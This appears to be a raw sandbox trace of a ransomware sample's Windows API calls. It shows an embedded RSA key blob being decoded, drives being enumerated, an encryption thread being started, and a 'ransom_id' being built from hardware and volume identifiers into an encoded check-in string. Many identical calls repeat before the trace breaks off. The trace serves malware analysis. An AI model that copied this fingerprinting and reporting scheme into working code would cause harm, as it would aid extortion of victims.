lpString2="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu" | out: lpString1="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu") returned="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu" [0135.146] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.146] VirtualFree (lpAddress=0x2700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.147] VirtualFree (lpAddress=0x2720000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.147] VirtualFree (lpAddress=0x2710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.147] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0135.147] VirtualFree (lpAddress=0x26f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.147] VirtualFree (lpAddress=0x26e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.148] VirtualFree (lpAddress=0x26d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.148] VirtualFree (lpAddress=0x840000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.148] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu") returned 368 [0135.148] VirtualAlloc (lpAddress=0x0, dwSize=0x170, flAllocationType=0x3000, flProtect=0x4) returned 0x840000 [0135.148] CryptStringToBinaryA (in: pszString="BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu", cchString=0x0, dwFlags=0x1, pbBinary=0x840000, pcbBinary=0x19fe48, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x840000, pcbBinary=0x19fe48, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0135.148] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x850000 [0135.149] GetTickCount () returned 0xf54c [0135.149] GetDriveTypeW (lpRootPathName="A:\\") returned 0x1 [0135.149] GetDriveTypeW (lpRootPathName="B:\\") returned 0x1 [0135.149] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0135.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x405c85, lpParameter=0x19fb60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc [0135.149] GetDriveTypeW (lpRootPathName="D:\\") returned 0x1 [0135.149] GetDriveTypeW (lpRootPathName="E:\\") returned 0x1 [0135.149] GetDriveTypeW (lpRootPathName="F:\\") returned 0x1 [0135.149] GetDriveTypeW (lpRootPathName="G:\\") returned 0x1 [0135.149] GetDriveTypeW (lpRootPathName="H:\\") returned 0x1 [0135.149] GetDriveTypeW (lpRootPathName="I:\\") returned 0x1 [0135.150] GetDriveTypeW (lpRootPathName="J:\\") returned 0x1 [0135.150] GetDriveTypeW (lpRootPathName="K:\\") returned 0x1 [0135.150] GetDriveTypeW (lpRootPathName="L:\\") returned 0x1 [0135.150] GetDriveTypeW (lpRootPathName="M:\\") returned 0x1 [0135.150] GetDriveTypeW (lpRootPathName="N:\\") returned 0x1 [0135.150] GetDriveTypeW (lpRootPathName="O:\\") returned 0x1 [0135.151] GetDriveTypeW (lpRootPathName="P:\\") returned 0x1 [0135.151] GetDriveTypeW (lpRootPathName="Q:\\") returned 0x1 [0135.151] GetDriveTypeW (lpRootPathName="R:\\") returned 0x1 [0135.151] GetDriveTypeW (lpRootPathName="S:\\") returned 0x1 [0135.151] GetDriveTypeW (lpRootPathName="T:\\") returned 0x1 [0135.151] GetDriveTypeW (lpRootPathName="U:\\") returned 0x1 [0135.151] GetDriveTypeW (lpRootPathName="V:\\") returned 0x1 [0135.151] GetDriveTypeW (lpRootPathName="W:\\") returned 0x1 [0135.151] GetDriveTypeW (lpRootPathName="X:\\") returned 0x1 [0135.151] GetDriveTypeW (lpRootPathName="Y:\\") returned 0x1 [0135.151] GetDriveTypeW (lpRootPathName="Z:\\") returned 0x1 [0135.151] WaitForMultipleObjects (nCount=0x1, lpHandles=0x19fa60*=0x4bc, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0143.850] GetTickCount () returned 0x1173c [0143.850] VirtualAlloc (lpAddress=0x0, dwSize=0x4c02, flAllocationType=0x3000, flProtect=0x40) returned 0x26d0000 [0143.850] wsprintfW (in: param_1=0x26d0000, param_2="action=result&e_files=%d&e_size=%I64u&e_time=%d&" | out: param_1="action=result&e_files=228&e_size=12142867&e_time=8688&") returned 54 [0143.850] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x20019, phkResult=0x19f8a4 | out: phkResult=0x19f8a4*=0x500) returned 0x0 [0143.850] RegQueryValueExW (in: hKey=0x500, lpValueName="Domain", lpReserved=0x0, lpType=0x0, lpData=0x2ed300, lpcbData=0x19f8b4*=0x80 | out: lpType=0x0, lpData=0x2ed300*=0x0, lpcbData=0x19f8b4*=0x2) returned 0x0 [0143.850] RegCloseKey (hKey=0x500) returned 0x0 [0143.850] wsprintfW (in: param_1=0x2ed300, param_2="WORKGROUP" | out: param_1="WORKGROUP") returned 9 [0143.850] GetWindowsDirectoryW (in: lpBuffer=0x28f5328, uSize=0x100 | out: lpBuffer="C:\\Windows") returned 0xa [0143.850] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x28f5528, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x28f5928, lpMaximumComponentLength=0x28f5930, lpFileSystemFlags=0x28f592c, lpFileSystemNameBuffer=0x28f5728, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x28f5928*=0xd2ca4def, lpMaximumComponentLength=0x28f5930*=0xff, lpFileSystemFlags=0x28f592c*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0143.851] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19f8a4 | out: phkResult=0x19f8a4*=0x500) returned 0x0 [0143.851] RegQueryValueExW (in: hKey=0x500, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x28f5934, lpcbData=0x19f8b4*=0x80 | out: lpType=0x0, lpData=0x28f5934*=0x49, lpcbData=0x19f8b4*=0x54) returned 0x0 [0143.851] RegCloseKey (hKey=0x500) returned 0x0 [0143.851] lstrlenW (lpString="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHz") returned 41 [0143.851] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19f8a4 | out: phkResult=0x19f8a4*=0x500) returned 0x0 [0143.851] RegQueryValueExW (in: hKey=0x500, lpValueName="Identifier", lpReserved=0x0, lpType=0x0, lpData=0x28f5986, lpcbData=0x19f8b4*=0x80 | out: lpType=0x0, lpData=0x28f5986*=0x49, lpcbData=0x19f8b4*=0x4a) returned 0x0 [0143.851] RegCloseKey (hKey=0x500) returned 0x0 [0143.851] wsprintfW (in: param_1=0x28d2090, param_2="%d" | out: param_1="-758493713") returned 10 [0143.851] lstrcatW (in: lpString1="-758493713", lpString2="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" | out: lpString1="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" [0143.851] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77460000 [0143.851] GetProcAddress (hModule=0x77460000, lpProcName="RtlComputeCrc32") returned 0x77486b10 [0143.851] lstrlenW (lpString="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned 87 [0143.851] RtlComputeCrc32 (PartialCrc=0x29a, Buffer=0x28d2090, Length=0xae) returned 0xdce1bb8b [0143.851] lstrlenW (lpString="WORKGROUP") returned 9 [0143.851] lstrlenW (lpString="pc_group") returned 8 [0143.851] lstrlenW (lpString="action=result&e_files=228&e_size=12142867&e_time=8688&") returned 54 [0143.851] lstrcatW (in: lpString1="", lpString2="pc_group" | out: lpString1="pc_group") returned="pc_group" [0143.851] lstrcatW (in: lpString1="pc_group", lpString2="=" | out: lpString1="pc_group=") returned="pc_group=" [0143.851] lstrcatW (in: lpString1="pc_group=", lpString2="WORKGROUP" | out: lpString1="pc_group=WORKGROUP") returned="pc_group=WORKGROUP" [0143.852] lstrcatW (in: lpString1="pc_group=WORKGROUP", lpString2="&" | out: lpString1="pc_group=WORKGROUP&") returned="pc_group=WORKGROUP&" [0143.852] VirtualAlloc (lpAddress=0x0, dwSize=0x42, flAllocationType=0x3000, flProtect=0x40) returned 0x26e0000 [0143.852] wsprintfW (in: param_1=0x26e0000, param_2="%x%x" | out: param_1="dce1bb8bd2ca4def") returned 16 [0143.852] lstrcatW (in: lpString1="pc_group=WORKGROUP&", lpString2="ransom_id" | out: lpString1="pc_group=WORKGROUP&ransom_id") returned="pc_group=WORKGROUP&ransom_id" [0143.852] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id", lpString2="=" | out: lpString1="pc_group=WORKGROUP&ransom_id=") returned="pc_group=WORKGROUP&ransom_id=" [0143.852] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=", lpString2="dce1bb8bd2ca4def" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def" [0143.852] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def", lpString2="&" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&" [0143.852] VirtualFree (lpAddress=0x26e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0143.852] lstrlenW (lpString="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned 46 [0143.852] lstrlenW (lpString="action=result&e_files=228&e_size=12142867&e_time=8688&pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned 99 [0143.852] lstrlenA (lpString="aeriedjD#shasj") returned 14 [0143.852] CryptBinaryToStringA (in: pbBinary=0x26d0000, cbBinary=0xc6, dwFlags=0x40000001, pszString=0x26d0800, pcchString=0x19fa20 | out: pszString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs", pcchString=0x19fa20) returned 1 [0143.852] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.852] VirtualAlloc (lpAddress=0x0, dwSize=0x10c, flAllocationType=0x3000, flProtect=0x40) returned 0x26e0000 [0143.852] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CE6OIMj4I4KH7R1B4Gz5B/kfHeve0qnMlZCiTfpjFRI3mdkXlptnmxm2XrqbR5qtKHC8Ka/t0uOEQTxo/+LwbAmcSdb77fKfrKPMFzmfIPcGBvuCXpZpv2K3s7MQjgqdLD5k++x3eoTizO0clMlnB6MBlAQJ2cCKYqz5kD7xRKFVyuKraIsAgwRifZYqaJPpQ7tRf//Tpd36az5P8uWu2HqpIXzl37yaobzPGfnr0OQLpzoS2XV1vvs") returned 264 [0143.853] lstrlenA 